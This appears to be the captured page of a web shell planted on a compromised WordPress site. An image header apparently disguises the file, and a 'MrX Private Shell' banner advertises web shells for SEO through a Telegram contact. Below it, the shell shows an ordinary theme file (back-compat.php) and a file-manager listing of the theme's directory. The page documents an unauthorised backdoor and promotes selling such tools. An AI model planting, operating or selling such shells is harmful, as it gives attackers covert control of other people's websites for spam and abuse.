����JFIF���������
__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
<?php
/**
* Prevent switching to RioHomestay on old versions of WordPress.
*
* Switches to the default theme.
*
* @since RioHomestay 1.0
*/
function konstruktic_switch_theme() {
switch_theme( WP_DEFAULT_THEME );
unset( $_GET['activated'] );
add_action( 'admin_notices', 'konstruktic_upgrade_notice' );
}
add_action( 'after_switch_theme', 'konstruktic_switch_theme' );
/**
* Adds a message for unsuccessful theme switch.
*
* Prints an update nag after an unsuccessful attempt to switch to
* RioHomestay on WordPress versions prior to 4.7.
*
* @since RioHomestay 1.0
*
* @global string $wp_version WordPress version.
*/
function konstruktic_upgrade_notice() {
$message = sprintf( esc_html__( 'RioHomestay requires at least WordPress version 4.7. You are running version %s. Please upgrade and try again.', 'konstruktic' ), $GLOBALS['wp_version'] );
printf( '<div class="error"><p>%s</p></div>', $message );
}
/**
* Prevents the Customizer from being loaded on WordPress versions prior to 4.7.
*
* @since RioHomestay 1.0
*
* @global string $wp_version WordPress version.
*/
function konstruktic_customize() {
wp_die( sprintf( esc_html__( 'RioHomestay requires at least WordPress version 4.7. You are running version %s. Please upgrade and try again.', 'konstruktic' ), $GLOBALS['wp_version'] ), '', array(
'back_link' => true,
) );
}
add_action( 'load-customize.php', 'konstruktic_customize' );
/**
* Prevents the Theme Preview from being loaded on WordPress versions prior to 4.7.
*
* @since RioHomestay 1.0
*
* @global string $wp_version WordPress version.
*/
function konstruktic_preview() {
if (isset( $_GET['preview'] )) {
wp_die( sprintf( esc_html__( 'RioHomestay requires at least WordPress version 4.7. You are running version %s. Please upgrade and try again.', 'konstruktic' ), $GLOBALS['wp_version'] ) );
}
}
add_action( 'template_redirect', 'konstruktic_preview' );
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| admin | Folder | 0755 |
|
|
| resources | Folder | 0755 |
|
|
| back-compat.php | File | 1.91 KB | 0644 |
|
| class-main.php | File | 14.84 KB | 0644 |
|
| class-sidebar.php | File | 1.99 KB | 0644 |
|
| starter-settings.php | File | 743 B | 0644 |
|
| template-functions.php | File | 15.79 KB | 0644 |
|
| template-tags.php | File | 5.57 KB | 0644 |
|
| tgm-plugins.php | File | 2.57 KB | 0644 |
|
| theme-custom-css.php | File | 512 B | 0644 |
|